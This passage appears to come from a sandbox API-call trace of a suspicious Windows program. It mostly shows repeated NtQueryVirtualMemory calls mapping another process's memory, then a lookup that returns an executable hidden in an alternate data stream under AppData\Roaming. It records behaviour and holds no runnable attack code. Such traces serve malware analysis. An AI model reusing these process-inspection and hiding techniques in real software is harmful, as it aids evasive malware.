Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.959] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77650000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77650000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77660000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77660000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0x6d000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x776cd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x776cd000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0x3000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x776d0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x776d0000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x776d1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x776d1000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x776e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x776e0000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0x5b000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7773b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7773b000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77740000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77740000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77744000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77744000, AllocationBase=0x77650000, AllocationProtect=0x80, RegionSize=0xc000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77750000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77750000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.960] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x777c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x777c0000, AllocationBase=0x777c0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77860000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77860000, AllocationBase=0x777c0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77861000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77861000, AllocationBase=0x777c0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77862000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77862000, AllocationBase=0x777c0000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77864000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77864000, AllocationBase=0x777c0000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77867000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77867000, AllocationBase=0x777c0000, AllocationProtect=0x80, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7786c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7786c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77870000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77870000, AllocationBase=0x77870000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x778b0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x778b0000, AllocationBase=0x77870000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x778b2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x778b2000, AllocationBase=0x77870000, AllocationProtect=0x80, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.961] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x778b6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x778b6000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x13a000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x779f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x779f0000, AllocationBase=0x779f0000, AllocationProtect=0x40, RegionSize=0x11f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77b0f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77b0f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77b10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77b10000, AllocationBase=0x77b10000, AllocationProtect=0x40, RegionSize=0xfa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77c0a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77c0a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77c10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77c10000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d13000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d13000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x2f000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d42000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d42000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d43000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d43000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d44000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d44000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.962] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d45000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d45000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d47000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d47000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d48000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d48000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d49000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d49000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d4b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d4b000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77d4e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d4e000, AllocationBase=0x77c10000, AllocationProtect=0x80, RegionSize=0x6b000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77db9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77db9000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77dc0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77dc0000, AllocationBase=0x77dc0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77dc7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77dc7000, AllocationBase=0x77dc0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77dc8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77dc8000, AllocationBase=0x77dc0000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.963] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77dca000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77dca000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x26000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77df0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77df0000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77e00000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77e00000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0xd6000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ed6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ed6000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0xa000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ee0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ee0000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x20, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ee1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ee1000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ef0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ef0000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ef1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ef1000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ef2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ef2000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ef3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ef3000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.964] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ef4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ef4000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ef7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ef7000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x8, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77ef9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ef9000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x7000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77f00000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77f00000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x57000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77f57000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77f57000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x9000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77f60000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77f60000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77f65000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77f65000, AllocationBase=0x77df0000, AllocationProtect=0x80, RegionSize=0xb000, State=0x2000, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x77f70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77f70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7040000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efb0000, AllocationBase=0x7efb0000, AllocationProtect=0x2, RegionSize=0x23000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efd3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efd3000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efd5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efd5000, AllocationBase=0x7efd5000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efd8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efd8000, AllocationBase=0x7efd8000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efdb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efdb000, AllocationBase=0x7efdb000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.965] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efde000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efde000, AllocationBase=0x7efde000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.966] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efdf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efdf000, AllocationBase=0x7efdf000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.966] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efe0000, AllocationBase=0x7efe0000, AllocationProtect=0x2, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.966] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x7efe5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efe5000, AllocationBase=0x7efe0000, AllocationProtect=0x2, RegionSize=0xfb000, State=0x2000, Protect=0x0, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.966] QueryFullProcessImageNameW (in: hProcess=0x1bc, dwFlags=0x0, lpExeName=0xa32d30, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin", lpdwSize=0x1a7f9d8) returned 1 [0150.966] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa32d30) returned 1 [0150.966] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.966] IsWow64Process (in: hProcess=0x1bc, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.966] NtQueryInformationProcess (in: ProcessHandle=0x1bc, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.966] GetProcessTimes (in: hProcess=0x1bc, 